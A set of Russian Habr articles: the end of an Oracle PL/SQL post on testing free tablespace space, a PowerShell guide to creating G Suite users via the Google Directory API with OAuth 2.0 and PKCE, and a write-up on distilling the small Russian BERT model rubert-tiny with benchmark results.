DBMS_OUTPUT.PUT_LINE( 'Time end: '||TO_CHAR(sysdate, 'DD-MM-YYYY HH24:MI:SS'));
end;
```
(Прошу обратить внимание на два лишних слеша "\". В строках с «create table» и «drop table». Они для того, чтобы выделение цветом не ехало. Перед боевым использованием их надо снести. А менять кавычки на другие я не хочу. Очень раздражает последующее выискивание «неверных».)
Опять же, заданные константы TABLESPACE\_FOR\_FULL и USER\_SCHEMA как бы намекают на специфику моих баз.
Комментировать алгоритм работы мне видится излишним.
Скорость работы такой методы меня устраивает.
```
anonymous block completed
Time start: 22-10-2013 13:10:10
Space available=827,88
Time end: 22-10-2013 13:10:11
anonymous block completed
Time start: 22-10-2013 13:10:27
Space available=10668,75
Time end: 22-10-2013 13:10:46
anonymous block completed
Time start: 22-10-2013 13:11:26
Space available=99266,81
Time end: 22-10-2013 13:14:37
```
Чуть менее 100Gb за 3 минуты. Ясно, что оборудование играет очень большую роль, но там где оборудование слабое и размеров особых не будет. Тем более что Tb свободного места достаточно странная ситуация.
##### Завершающие шаги
Теперь вернув autoextend можно заняться проверкой базы.
```
rman target /
```
И
```
BACKUP VALIDATE database;
```
После чего представление v$database\_block\_corruption должно быть чистым как… ну вы поняли.
##### Эпилог
А есть ли способ короче и быстрее? Должен быть. Обязательно. Я начал писать на PL\SQL три недели назад. И в первую очередь я специалист SAP BASIS, а не DBA.
Мне вполне хватает и этого. Но было бы интересно посмотреть на решение этой задачи от профи. | https://habr.com/ru/post/198606/ | null | ru | null |
# Создание Google пользователей из PowerShell через API
Привет!
В этой статье будет описана реализация взаимодействия PowerShell с Google API для проведения манипуляций с пользователями G Suite.
В организации мы используем несколько внутренних и облачных сервисов. По большей части авторизация в них сводится к Google или Active Directory, между которыми мы не можем поддерживать реплику, соответственно, при выходе нового сотрудника нужно создать/включить аккаунт в этих двух системах. Для автоматизации процесса мы решили написать скрипт, который собирает информацию и отправляет в оба сервиса.
> Статья безнадежно устарела, т.к. API Google меняется очень прогрессивно. Здесь можно увидеть некоторые варианты реализации. На текущий момент самый удобный вариант — это запускать Powershell из другого языка, для которого есть модули от разработчиков Google (например, Python), или наоборот.
### Авторизация
Составляя требования, мы решили использовать для авторизации реальных людей-администраторов, это упрощает разбор действий при случайных или намеренных массивных изменениях.
Для аутентификации и авторизации Google API используют протокол OAuth 2.0. Сценарии использования и более подробное описание можно посмотреть тут: [Using OAuth 2.0 to Access Google APIs](https://developers.google.com/identity/protocols/OAuth2).
Я выбрал сценарий, который используется при авторизации в desktop-приложениях. Так же есть вариант использовать сервисный аккаунт, не требующий лишних движений от пользователя.
Картинка ниже – это схематичное описание выбранного сценария со странички Google.
1. Сначала мы отправляем пользователя на страницу аутентификации в аккаунт Google, указывая GET параметрами:
* идентификатор приложения
* области, к которым необходим доступ приложению
* адрес, на который пользователь будет перенаправлен после завершения процедуры
* способ, которым мы будем обновлять токен
* код проверки
* формат передачи кода проверки
2. После завершения авторизации, пользователь будет перенаправлен на указанную в первом запросе страницу, с ошибкой или кодом авторизации, переданными GET параметрами
3. Приложению (скрипту) нужно будет получить эти параметры и, в случае получения кода, выполнить следующий запрос на получение токенов
4. При корректном запросе Google API возвращает:
* Access токен, с которым мы можем делать запросы
* Cрок действия этого токена
* Refresh токен, необходимый для обновления Access токена.
Сначала нужно сходить в консоль Google API: [Credentials — Google API Console](https://console.developers.google.com/apis/credentials), выбрать нужное приложение и в разделе Credentials создать идентификатор OAuth клиента. Там же (или позже, в свойствах созданного идентификатора) нужно указать адреса, на которые разрешено перенаправление. В нашем случае это будет несколько записей localhost с разными портами (см. дальше).
Чтобы было удобнее читать алгоритм скрипта, можно вывести первые шаги в отдельную функцию, которая вернет Access и refresh токены для приложения:
```
$client_secret = 'Our Client Secret'
$client_id = 'Our Client ID'
function Get-GoogleAuthToken {
if (-not [System.Net.HttpListener]::IsSupported) {
"HttpListener is not supported."
exit 1
}
$codeverifier = -join ((65..90) + (97..122) + (48..57) + 45 + 46 + 95 + 126 |Get-Random -Count 60| % {[char]$_})
$hasher = new-object System.Security.Cryptography.SHA256Managed
$hashByteArray = $hasher.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($codeverifier))
$base64 = ((([System.Convert]::ToBase64String($hashByteArray)).replace('=','')).replace('+','-')).replace('/','_')
$ports = @(10600,15084,39700,42847,65387,32079)
$port = $ports[(get-random -Minimum 0 -maximum 5)]
Write-Host "Start browser..."
Start-Process "https://accounts.google.com/o/oauth2/v2/auth?code_challenge_method=S256&code_challenge=$base64&access_type=offline&client_id=$client_id&redirect_uri=http://localhost:$port&response_type=code&scope=https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.group"
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://localhost:"+$port+'/')
try {$listener.Start()} catch {
"Unable to start listener."
exit 1
}
while (($code -eq $null)) {
$context = $listener.GetContext()
Write-Host "Connection accepted" -f 'mag'
$url = $context.Request.RawUrl
$code = $url.split('?')[1].split('=')[1].split('&')[0]
if ($url.split('?')[1].split('=')[0] -eq 'error') {
Write-Host "Error!"$code -f 'red'
$buffer = [System.Text.Encoding]::UTF8.GetBytes("Error!"+$code)
$context.Response.ContentLength64 = $buffer.Length
$context.Response.OutputStream.Write($buffer, 0, $buffer.Length)
$context.Response.OutputStream.Close()
$listener.Stop()
exit 1
}
$buffer = [System.Text.Encoding]::UTF8.GetBytes("Now you can close this browser tab.")
$context.Response.ContentLength64 = $buffer.Length
$context.Response.OutputStream.Write($buffer, 0, $buffer.Length)
$context.Response.OutputStream.Close()
$listener.Stop()
}
Return Invoke-RestMethod -Method Post -Uri "https://www.googleapis.com/oauth2/v4/token" -Body @{
code = $code
client_id = $client_id
client_secret = $client_secret
redirect_uri = 'http://localhost:'+$port
grant_type = 'authorization_code'
code_verifier = $codeverifier
}
$code = $null
```
Мы задаем Client ID и Client Secret, полученные в свойствах идентификатора клиента OAuth, и code verifier – это строка длиной от 43 до 128 символов, которая должна быть сгенерирована случайным образом из незарезервированных символов: [A-Z] / [a-z] / [0-9] / "-" / "." / "\_" / "~".
Далее этот код будет передан повторно. Он исключает уязвимость, при которой злоумышленник может перехватить ответ, вернувшийся редиректом после авторизации пользователя.
Отправить code verifier в текущем запросе можно в открытом виде (что делает его бессмысленным – это подходит только для систем, не поддерживающих SHA256), или создав хеш по алгоритму SHA256, который нужно закодировать в BASE64Url (отличается от Base64 двумя символами таблицы) и удалить символ окончания строки: =.
Далее нам нужно начать прослушивать http на локальной машине, чтобы получить ответ после авторизации, который вернется редиректом.
Административные задачи выполняются на специальном сервере, мы не можем исключать вероятность того, что несколько администраторов одновременно запустят скрипт, поэтому он наугад выберет порт для текущего пользователя, но я указал заранее определенные порты, т.к. их нужно также добавить как доверенные в консоли API.
*access\_type=offline* означает что приложение может обновлять истекший токен самостоятельно без взаимодействия пользователя с браузером,
*response\_type=code* задает формат того, как вернется код (отсылка к старому способу авторизации, когда пользователь копипастил код из браузера в скрипт),
*scope* указывает области и тип доступа. Они должны разделяться пробелами или %20 (в соответствии с URL Encoding). Список областей доступа с типами можно увидеть тут: [OAuth 2.0 Scopes for Google APIs](https://developers.google.com/identity/protocols/googlescopes).
После получения кода авторизации, приложение вернет в браузер сообщение о закрытии, прекратит слушать порт и отправит POST запрос для получения токена. Мы указываем в нем заданные ранее id и secret из API консоли, адрес, на который будет перенаправлен пользователь и grant\_type в соответствии спецификации протокола.
В ответ мы получим Access токен, его время действия в секундах и Refresh токен, с помощью которого мы можем обновить Access токен.
Приложение должно хранить токены в безопасном месте с длительным сроком хранения, поэтому, пока мы не отзовем полученный доступ, приложению не вернется refresh токен. В конце я добавил запрос на отзыв токена, если приложение было завершено не успешно и refresh токен не вернулся, оно начнет процедуру заново (мы посчитали небезопасным хранить токены локально на терминале, а усложнять криптографией или часто открывать браузер не хочется).
```
do {
$token_result = Get-GoogleAuthToken
$token = $token_result.access_token
if ($token_result.refresh_token -eq $null) {
Write-Host ("Session is not destroyed. Revoking token...")
Invoke-WebRequest -Uri ("https://accounts.google.com/o/oauth2/revoke?token="+$token)
}
} while ($token_result.refresh_token -eq $null)
$refresh_token = $token_result.refresh_token
$minute = ([int]("{0:mm}" -f ([timespan]::fromseconds($token_result.expires_in))))+((Get-date).Minute)-2
if ($minute -lt 0) {$minute += 60}
elseif ($minute -gt 59) {$minute -=60}
$token_expire = @{
hour = ([int]("{0:hh}" -f ([timespan]::fromseconds($token_result.expires_in))))+((Get-date).Hour)
minute = $minute
}
```
Как вы уже заметили, при отзыве токена используется Invoke-WebRequest. В отличии от Invoke-RestMethod, он не возвращает полученные данные в удобном для использования формате и показывает статус запроса.
Далее скрипт просить ввести имя и фамилию пользователя, генерируя логин + email.
### Запросы
Следующими будут запросы – в первую очередь нужно проверить существует ли уже пользователь с таким логином для получения решения о формировании нового или включении текущего.
Я решил реализовать все запросы в формате одной функции с выборкой, используя switch:
```
function GoogleQuery {
param (
$type,
$query
)
switch ($type) {
"SearchAccount" {
Return Invoke-RestMethod -Method Get -Uri "https://www.googleapis.com/admin/directory/v1/users" -Headers @{Authorization = "Bearer "+(Get-GoogleToken)} -Body @{
domain = 'rocketguys.com'
query = "email:$query"
}
}
"UpdateAccount" {
$body = @{
name = @{
givenName = $query['givenName']
familyName = $query['familyName']
}
suspended = 'false'
password = $query['password']
changePasswordAtNextLogin = 'true'
phones = @(@{
primary = 'true'
value = $query['phone']
type = "mobile"
})
orgUnitPath = $query['orgunit']
}
Return Invoke-RestMethod -Method Put -Uri ("https://www.googleapis.com/admin/directory/v1/users/"+$query['email']) -Headers @{Authorization = "Bearer "+(Get-GoogleToken)} -Body (ConvertTo-Json $body) -ContentType 'application/json; charset=utf-8'
}
"CreateAccount" {
$body = @{
primaryEmail = $query['email']
name = @{
givenName = $query['givenName']
familyName = $query['familyName']
}
suspended = 'false'
password = $query['password']
changePasswordAtNextLogin = 'true'
phones = @(@{
primary = 'true'
value = $query['phone']
type = "mobile"
})
orgUnitPath = $query['orgunit']
}
Return Invoke-RestMethod -Method Post -Uri "https://www.googleapis.com/admin/directory/v1/users" -Headers @{Authorization = "Bearer "+(Get-GoogleToken)} -Body (ConvertTo-Json $body) -ContentType 'application/json; charset=utf-8'
}
"AddMember" {
$body = @{
userKey = $query['email']
}
$ifrequest = Invoke-RestMethod -Method Get -Uri "https://www.googleapis.com/admin/directory/v1/groups" -Headers @{Authorization = "Bearer "+(Get-GoogleToken)} -Body $body
$array = @()
foreach ($group in $ifrequest.groups) {$array += $group.email}
if ($array -notcontains $query['groupkey']) {
$body = @{
email = $query['email']
role = "MEMBER"
}
Return Invoke-RestMethod -Method Post -Uri ("https://www.googleapis.com/admin/directory/v1/groups/"+$query['groupkey']+"/members") -Headers @{Authorization = "Bearer "+(Get-GoogleToken)} -Body (ConvertTo-Json $body) -ContentType 'application/json; charset=utf-8'
} else {
Return ($query['email']+" now is a member of "+$query['groupkey'])
}
}
}
}
```
В каждом запросе нужно отправлять заголовок Authorization, содержащий тип токена и сам Access токен. На текущий момент тип токена всегда Bearer. Т.к. нам нужно проверять что токен не просрочен и обновить его по истечении часа с момента выдачи, я указал запрос на другую функцию, которая возвращает Access токен. Этот же кусочек кода есть в начале скрипта при получении первого Access токена:
```
function Get-GoogleToken {
if (((Get-date).Hour -gt $token_expire.hour) -or (((Get-date).Hour -ge $token_expire.hour) -and ((Get-date).Minute -gt $token_expire.minute))) {
Write-Host "Token Expired. Refreshing..."
$request = (Invoke-RestMethod -Method Post -Uri "https://www.googleapis.com/oauth2/v4/token" -ContentType 'application/x-www-form-urlencoded' -Body @{
client_id = $client_id
client_secret = $client_secret
refresh_token = $refresh_token
grant_type = 'refresh_token'
})
$token = $request.access_token
$minute = ([int]("{0:mm}" -f ([timespan]::fromseconds($request.expires_in))))+((Get-date).Minute)-2
if ($minute -lt 0) {$minute += 60}
elseif ($minute -gt 59) {$minute -=60}
$script:token_expire = @{
hour = ([int]("{0:hh}" -f ([timespan]::fromseconds($request.expires_in))))+((Get-date).Hour)
minute = $minute
}
}
return $token
}
```
Проверка логина на существование:
```
function Check_Google {
$query = (GoogleQuery 'SearchAccount' $username)
if ($query.users -ne $null) {
$user = $query.users[0]
Write-Host $user.name.fullName' - '$user.PrimaryEmail' - suspended: '$user.Suspended
$GAresult = $user
}
if ($GAresult) {
$return = $GAresult
} else {$return = 'gg'}
return $return
}
```
Запрос email:$query попросит API поискать пользователя именно с таким email, в том числе будут найдены алиасы. Так же можно использовать wildcard: *=, :, :{PREFIX}\**.
Для получения данных используется метод запроса GET, для вставки данных (создание аккаунта или добавление участника в группу) – POST, для обновления существующих данных – PUT, для удаления записи (например, участника из группы) – DELETE.
Скрипт так же спросит номер телефона (невалидируемая строка) и о включении в региональную группу рассылки. Он решает какая организационная единица должны быть у пользователя на основе выбранной OU Active Directory и придумает пароль:
```
do {
$phone = Read-Host "Телефон в формате +7хххххххх"
} while (-not $phone)
do {
$moscow = Read-Host "В Московский офис? (y/n) "
} while (-not (($moscow -eq 'y') -or ($moscow -eq 'n')))
$orgunit = '/'
if ($OU -like "*OU=Delivery,OU=Users,OU=ROOT,DC=rocket,DC=local") {
Write-host "Будет создана в /Team delivery"
$orgunit = "/Team delivery"
}
$Password = -join ( 48..57 + 65..90 + 97..122 | Get-Random -Count 12 | % {[char]$_})+"*Ba"
```
И далее начинает манипуляции с аккаунтом:
```
$query = @{
email = $email
givenName = $firstname
familyName = $lastname
password = $password
phone = $phone
orgunit = $orgunit
}
if ($GMailExist) {
Write-Host "Запускаем изменение аккаунта" -f mag
(GoogleQuery 'UpdateAccount' $query) | fl
write-host "Не забудь проверить группы у включенного $Username в Google."
} else {
Write-Host "Запускаем создание аккаунта" -f mag
(GoogleQuery 'CreateAccount' $query) | fl
}
if ($moscow -eq "y"){
write-host "Добавляем в группу moscowoffice"
$query = @{
groupkey = 'moscowoffice@rocketguys.com'
email = $email
}
(GoogleQuery 'AddMember' $query) | fl
}
```
Функции обновления и создания аккаунта имеют аналогичный синтаксис, не все дополнительные поля обязательны, в разделе с номерами телефонов нужно указать массив, который может содержать от одной записи с номером и его типом.
Чтобы не получить ошибку при добавлении пользователя в группу, предварительно мы можем проверить, состоит ли он уже в этой группе, получив список членов группы или состав у самого пользователя.
**Запрос состава групп определенного пользователя будет не рекурсивным и покажет только непосредственное членство.** Включение пользователя в родительскую группу, в которой уже состоит дочерняя группа, участником которой является пользователь, будет успешным.
### Заключение
Осталось отправить пользователю пароль от нового аккаунта. Мы делаем это через СМС, а общую информацию с инструкцией и логином отправляем на личную почту, которую, вместе с номером телефона, предоставил отдел подбора персонала. Как альтернативный вариант, можно сэкономить денежку и отправить пароль в секретный чат телеграма, что тоже можно считать вторым фактором (исключением будут макбуки).
Спасибо, что прочитали до конца. Буду рад увидеть предложения по улучшению стиля написания статей и желаю вам словить поменьше ошибок при написании скриптов =)
Список ссылочек, которые могут быть тематически полезны или просто ответить на возникшие вопросы:
* [OAuth 2.0 for Mobile & Desktop Apps](https://developers.google.com/identity/protocols/OAuth2InstalledApp)
* [Using OAuth 2.0 for Web Server Applications](https://developers.google.com/identity/protocols/OAuth2WebServer)
* [Proof Key for Code Exchange by OAuth Public Clients](https://tools.ietf.org/html/rfc7636)
* [Generate Random Letters with PowerShell](https://devblogs.microsoft.com/scripting/generate-random-letters-with-powershell/)
* [ASCII Table and Description](http://www.asciitable.com/)
* [PowerShell: Getting the hash value for a string](https://blogs.msdn.microsoft.com/luc/2011/01/21/powershell-getting-the-hash-value-for-a-string/)
* [Encode/Decode Base64Url](https://communary.net/2015/04/05/encodedecode-base64url/)
* [Base64 encoding vs Base64url encoding](http://websecurityinfo.blogspot.com/2017/06/base64-encoding-vs-base64url-encoding.html)
* [Invoke-RestMethod in PowerShell 5.1](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod?view=powershell-5.1)
* [Not getting refresh token even though access\_type is offline in step1](https://github.com/googleapis/google-api-python-client/issues/213)
* [About Comparison Operators](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators?view=powershell-6)
* [Directory API: User Accounts](https://developers.google.com/admin-sdk/directory/v1/guides/manage-users)
* [Search for users](https://developers.google.com/admin-sdk/directory/v1/guides/search-users)
* [Directory API: Groups](https://developers.google.com/admin-sdk/directory/v1/guides/manage-groups)
* [Error Handling for Invoke-RestMethod — Powershell](https://stackoverflow.com/questions/29613572/error-handling-for-invoke-restmethod-powershell) | https://habr.com/ru/post/468969/ | null | ru | null |
# Маленький и быстрый BERT для русского языка
[BERT](https://arxiv.org/abs/1810.04805) – нейросеть, способная неплохо понимать смысл текстов на человеческом языке. Впервые появившись в 2018 году, эта модель совершила переворот в компьютерной лингвистике. Базовая версия модели долго *предобучается,* читая миллионы текстов и постепенно осваивая язык, а потом её можно *дообучить* на собственной прикладной задаче, например, классификации комментариев или выделении в тексте имён, названий и адресов. Стандартная версия BERT довольно большая: весит больше 600 мегабайт, обрабатывает предложение около 120 миллисекунд (на CPU). В этом посте я предлагаю [уменьшенную версию BERT для русского языка](https://huggingface.co/cointegrated/rubert-tiny) – 45 мегабайт, 6 мс на предложение. Она была получена в результате дистилляции нескольких больших моделей. Уже есть [tinybert для английского от Хуавея](https://huggingface.co/huawei-noah/TinyBERT_General_4L_312D), есть [моя уменьшалка FastText'а](https://habr.com/ru/post/489474/), а вот маленький (англо-)русский BERT, кажется, появился впервые. Но насколько он хорош?
Дистилляция – путь к маленькости
--------------------------------
Чтобы создать маленький BERT, я решил обучить свою нейросеть, используя при этом уже готовые модели в качестве учителей. Сейчас объясню подробнее.
Если очень коротко, то BERT работает так: сначала токенизатор разбивает текст на токены (кусочки размером от одной буквы до целого слова), от них берутся эмбеддинги из таблицы, и эти эмбеддинги несколько раз обновляются, используя механизм self-attention для учёта контекста (соседних токенов). При предобучении классический BERT выполняет две задачи: угадывает, какие токены в предложении были заменены на специальный токен `[MASK]`, и шли ли два предложения следом друг за другом в тексте. Как [потом показали](https://arxiv.org/abs/1907.11692), вторая задача не очень нужна. Но токен `[CLS]`, который ставится перед началом текста и эмбеддинг которого использовался для этой второй задачи, употреблять продолжают, и я тоже сделал на него ставку.
[Дистилляция](https://arxiv.org/abs/1503.02531) – способ перекладывания знаний из одной модели в другую. Это быстрее, чем учить модель только на текстах. Например, в тексте `[CLS] Ехал Грека [MASK] реку` "верное" решение – поставить на место маски токен `через`, но большая модель знает, что токены `на`, `в`, `за` в этом контексте тоже уместны, и это знание полезно для обучения маленькой модели. Его можно передать, заставляя маленькую модель не только предсказывать высокую вероятность правильного токена `через`, а воспроизводить всё вероятностное распределение возможных замаскированных токенов в данном тексте.
В качестве основы для модели я взял классический bert-multilingual ([веса](https://huggingface.co/bert-base-multilingual-cased)), ибо хочу, чтобы модель понимала и русский, и английский, и его же использую на ранних стадиях дистилляции как учителя по распределению токенов. Словарь этой модели содержит 120К токенов, но я отобрал только те, которые часто встречаются в русском и английском языках, оставив 30К. Размер эмбеддинга я сократил с 768 до 312, число слоёв – с 12 до 3. Эмбеддинги я инициализировал из bert-multilingual, все остальные веса – случайным образом.
Поскольку я собираюсь использовать маленький BERT в первую очередь для классификации коротких текстов, мне надо, чтобы он мог построить хорошее векторное представление предложения. Поэтому в качестве учителей для дистилляции я выбрал модели, которые с этим здорово справляются: RuBERT ([статья](https://arxiv.org/abs/1905.07213), [веса](https://huggingface.co/DeepPavlov/rubert-base-cased-sentence)), LaBSE ([статья](https://arxiv.org/abs/2007.01852), [веса](https://huggingface.co/sentence-transformers/LaBSE)), Laser ([статья](https://arxiv.org/abs/1812.10464), [пакет](https://pypi.org/project/laserembeddings/)) и USE ([статья](https://arxiv.org/abs/1803.11175), [код](https://tfhub.dev/google/universal-sentence-encoder-multilingual-large/3)). А именно, я требую, чтобы `[CLS]` эмбеддинг моей модели позволял предсказать эмбеддинги предложений, полученные из этих четырёх моделей. Дополнительно я обучаю модель на задачу translation ranking (как LaBSE). Наконец, я решил, что неплохо было бы уметь полностью расшифровывать предложение назад из CLS-эмбеддингов, причём делать это одинаково для русских и английских предложений – как в Laser. Для этих целей я примотал изолентой к своей модели декодер от [уменьшенного русского T5](https://cointegrated.medium.com/how-to-adapt-a-multilingual-t5-model-for-a-single-language-b9f94f3d9c90). Таким образом, у меня получилась многозадачная модель о восьми лоссах:
* Обычное предсказание замаскированных токенов (я использую full word masks).
* Translation ranking по рецепту LaBSE: эмбеддинг фразы на русском должен быть ближе к эмбеддингу её перевода на английский, чем к эмбеддингу остальных примеров в батче. Пробовал добавлять наивные hard negatives, но заметной пользы они не дали.
* Дистилляция распределения всех токенов из bert-base-multilingual-cased (через несколько эпох я отключил её, т.к. она начала мешать).
* Приближение CLS-эмбеддингов (после линейной проекции) к эмбеддингам DeepPavlov/rubert-base-cased-sentence (усреднённым по токенам).
* Приближение CLS-эмбеддингов (после другой линейной проекции) к CLS-эмбеддингам LaBSE.
* Приближение CLS-эмбеддингов (после третьей проекции) к эмбеддингам LASER.
* Приближение CLS-эмбеддингов (после ещё одной проекции) к эмбеддингам USE.
* Расшифровка декодером от T5 предложения (на русском) из последней проекции CLS-эмбеддинга.
Скорее всего, из этих лоссов больше половины можно было безболезненно выкинуть, но ресурсов на ablation study я пока не нашёл. Обучал я это всё в течении нескольких дней на Colab, по пути нащупывая learning rate, веса разных лоссов, и другие параметры. В общем, не очень научно, но дешево и результативно. В качестве обучающей выборки я взял три параллельных корпуса англо-русских предложений: [от Яндекс.Переводчика](https://translate.yandex.ru/corpus), [OPUS-100](https://huggingface.co/datasets/opus100) и [Tatoeba](https://huggingface.co/datasets/tatoeba), суммарно 2.5 млн коротких текстов. Весь процесс создания модели, включая некоторые неудачные эксперименты, [содержится в блокноте](https://gist.github.com/avidale/7bc6350f26196918bf339c01261f5c60). Сама дистиллированная модель, названная мною rubert-tiny (или просто *Энкодечка*), [выложена в репозитории Huggingface](https://huggingface.co/cointegrated/rubert-tiny).
И как этим пользоваться?
------------------------
Если у вас есть Python и установлены пакет transformers и sentencepiece, скачать и запустить дистиллированный BERT просто. Например, вот так вы можете получить 312-мерный CLS-эмбеддинг предложения.
```
# pip install transformers sentencepiece
import torch
from transformers import AutoTokenizer, AutoModel
tokenizer = AutoTokenizer.from_pretrained("cointegrated/rubert-tiny")
model = AutoModel.from_pretrained("cointegrated/rubert-tiny")
# model.cuda() # uncomment it if you have a GPU
def embed_bert_cls(text, model, tokenizer):
t = tokenizer(text, padding=True, truncation=True, return_tensors='pt')
with torch.no_grad():
model_output = model(**{k: v.to(model.device) for k, v in t.items()})
embeddings = model_output.last_hidden_state[:, 0, :]
embeddings = torch.nn.functional.normalize(embeddings)
return embeddings[0].cpu().numpy()
print(embed_bert_cls('привет мир', model, tokenizer).shape)
# (312,)
```
Этот эмбеддинг вы можете использовать как признак для любой модели классификации или кластеризации текстов. Как (рекомендуемый) вариант, вы можете дообучить мою модель на собственной задаче. Про это будет отдельный пост, а пока отсылаю вас к обучающим материалам от Huggingface ([раз](https://huggingface.co/transformers/training.html), [два](https://huggingface.co/transformers/notebooks.html)).
Насколько быстр и мал мой Энкодечка? Я сравнил его с другими BERT'ами, понимающими русский язык. Скорость указана в расчёте на одно предложение из [Лейпцигского веб-корпуса русского языка](https://wortschatz.uni-leipzig.de/en/download/Russian).
| | | | |
| --- | --- | --- | --- |
| Модель | Скорость (CPU) | Скорость (GPU) | Вес на диске |
| [cointegrated/rubert-tiny](https://huggingface.co/cointegrated/rubert-tiny) | 6 мс | 3 мс | 45 мб |
| [bert-base-multilingual-cased](https://huggingface.co/bert-base-multilingual-cased) | 125 мс | 8 мс | 680 мб |
| [DeepPavlov/rubert-base-cased-sentence](https://huggingface.co/DeepPavlov/rubert-base-cased-sentence) | 110 мс | 8 мс | 680 мб |
| [sentence-transformers/LaBSE](https://huggingface.co/sentence-transformers/LaBSE) | 120 мс | 8 мс | 1.8 гб |
| [sberbank-ai/sbert\_large\_nlu\_ru](http://sberbank-ai/sbert_large_nlu_ru) | 420 мс | 16 мс | 1.6 гб |
Все расчёты я выполнял на Colab (Intel(R) Xeon(R) CPU @ 2.00GHz и Tesla P100-PCIE) c батчом размера 1. Если использовать крупные батчи, то ускорение на GPU ещё заметнее, т.к. с маленькой моделью можно собрать батч большего размера.
Как видим, [rubert-tiny](https://huggingface.co/cointegrated/rubert-tiny) на CPU работает раз в 20 быстрее своих ближайших соседей, и легко может уместиться на бюджетные хостинги типа Heroku (и даже, наверное, на мобильные устройства). Надеюсь, эта модель сделает предобученные нейросети для русского языка в целом более доступными для прикладных применений. Но надо ещё убедиться, что модель хоть чему-то научилась.
Оценка качества эмбеддингов
---------------------------
Рекомендованный и проверенный временем рецепт использования BERT – дообучать его на конечную задачу. Но дообучение – процесс небыстрый и наукоёмкий, а гипотезу об осмысленности выученных эмбеддингов хочется проверить побыстрее и попроще. Поэтому я не дообучаю модели, а использую их как готовые feature extractors, и обучаю поверх их эмбеддингов простые модели – логистическую регрессию и KNN.
Для оценки русских моделей есть бенчмарк [RussianSuperGLUE](https://russiansuperglue.com), но задачи там сложные, требующие подбора параметров и дообучения моделей, так что к нему я тоже перейду позже. Ещё есть бенчмарк [RuSentEval](https://github.com/RussianNLP/rusenteval), там задачи более простые, но они слишком абстрактные, ориентированные больше на лингвистические свойства, а хочется начать с чего-то прикладного. Поэтому я собрал свой маленький бенчмарк. Пока что он тоже живёт в блокноте, но надо будет допилить его и выложить в более удобном виде. И вот какие задачи туда вошли:
[STS](https://huggingface.co/datasets/stsb_multi_mt): бенчмарк по семантической близости предложений (переведённый с английского). Например, фразы "Кошка спит на фиолетовой простыне" и "Черно-белый кот спит на фиолетовом одеяле" из этого датасета оценены на 4 из 5 баллов сходства. Качество моделей на нём я мерял ранговой корреляций этих баллов с косинусной близостью эмбеддингов предложений. Для наилучшей модели, LaBSE, корреляция оказалась 77%, для моей – 65%, на одном уровне с моделью от Сбера, которая в 40 раз больше моей.
[Paraphraser](http://paraphraser.ru/download/): похожий бенчмарк по семантической близости, но с чисто русскими новостными заголовками и трёхбалльной шкалой. Эту задачу я решил так: обучил поверх косинусных близостей логистическую регрессию, и ей предсказывал, к какому из трёх классов пара заголовков относится. На этом бенчмарке моя модель выдала точность 43% и победила все остальные (впрочем, с небольшим отрывом).
[XNLI](https://github.com/facebookresearch/XNLI): предсказание, следует ли одно предложение из другого. Например, из "это стреляющее пластиковое автоматическое оружие" не следует "это более надежно, чем металлическое оружие", но и не противоречит. Оценивал её я как предыдущую – логрегом поверх косинусных близостей. Тут на первом месте оказалась модель от DeepPavlov (которая дообучалась ровно на этой задаче), а моя заняла второе.
[SentiRuEval2016](http://www.dialog-21.ru/evaluation/2016/sentiment/): классификация тональности твитов на три класса. Тут я оценивал модели по точности логистической регрессии, обученной поверх эмбеддингов, и моя модель заняла третье место из пяти. В этой и некоторых последующих задачах я сэмплировал обучающую и тестовые выборки, уменьшая их размер до 5К, скорости ради.
[OKMLCup](https://cups.mail.ru/ru/contests/okmlcup2020): детекция токсичных комментариев из Одноклассников. Тут моя модель заняла четвёртое место по ROC AUC, обогнав только bert-base-cased-multilingual.
[Inappropriateness](https://github.com/skoltech-nlp/inappropriate-sensitive-topics): детекция сообщений, неприятных для собеседника или вредящих репутации. Тут моя модель оказалась на последнем месте, но таки набрала 68% AUC (у самой лучшей, Сберовской, вышло 79%).
[Классификация интентов](https://github.com/xliuhw/NLU-Evaluation-Data): накраудсоршенные обращения к голосовому помощнику, покрывающие 18 доменов и 68 интентов. Они собирались на английском языке, но я перевёл их на русский [простой моделькой](https://huggingface.co/Helsinki-NLP/opus-mt-en-ru). Часть переводов получились странными, но для бенчмарка сойдёт. Оценивал я по точности логистической регрессии или KNN (что лучше). LaBSE набрала точность 75%, модель от Сбера – 68%, от DeepPavlov – 60%, моя – 58%, мультиязычная – 56%. Есть куда расти.
Перенос классификации интентов с английского: та же классификация интентов, но обучающая выборка на английском языке, а тестовая – на русском. Тут моя модель заняла второе место после LaBSE, а качество всех остальных сильно просело (что ожидаемо, ибо на параллельных корпусах они не обучались).
[factRuEval-2016](https://github.com/dialogue-evaluation/factRuEval-2016): задача распознавания классических именованных сущностей (адреса, организации, личности). Я обучал логистическую регрессию поверх эмбеддингов токенов, а качество мерял макро F1 скором (относительно токенов же, что не вполне корректно). Оказалось, что на таком NER моя модель работает откровенно плохо: она набрала скор 43%, остальные – 67-69%.
[RuDReC](https://github.com/cimm-kzn/RuDReC): распознавание медицинских именованных сущностей. Тут моя модель тоже проиграла остальным, но с меньшим отрывом: 58% против 62-67%.
Для каждой из моделей и задач я пробовал брать эмбеддинг от cls-токена и усреднять эмбеддинги от всех токенов. Неожиданностью для меня было то, что у каждой модели для некоторых задач эмбеддинги cls-токена оказывались лучше (ибо в целом у него скорее плохая репутация). Полный код моих экспериментов с оценкой можно посмотреть в [блокноте](https://gist.github.com/avidale/89eefcb9b7d5599493ed366eaff7f8a1), но он грязноват, так что лучше дождаться, пока я причешу этот бенчмарк.
Таблица с численными результатами
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Задача \ Модель | rubert-tiny | bert-base-multilingual | rubert by DeepPavlov | LaBSE | sbert-large by Sber |
| stsb | 0.6520 | 0.6216 | 0.7345 | **0.7728** | 0.6536 |
| Paraphraser | **0.4345** | 0.4189 | 0.4204 | 0.4033 | 0.4194 |
| XNLI | 0.3558 | 0.3481 | **0.3908** | 0.3355 | 0.3433 |
| SentiRuEval2016 | 0.9026 | 0.9176 | 0.8260 | **0.9386** | 0.8656 |
| Toxicity | 0.8610 | 0.8502 | 0.8939 | 0.9445 | **0.9687** |
| Inappropriateness | 0.6834 | 0.6855 | 0.7455 | 0.7659 | **0.7911** |
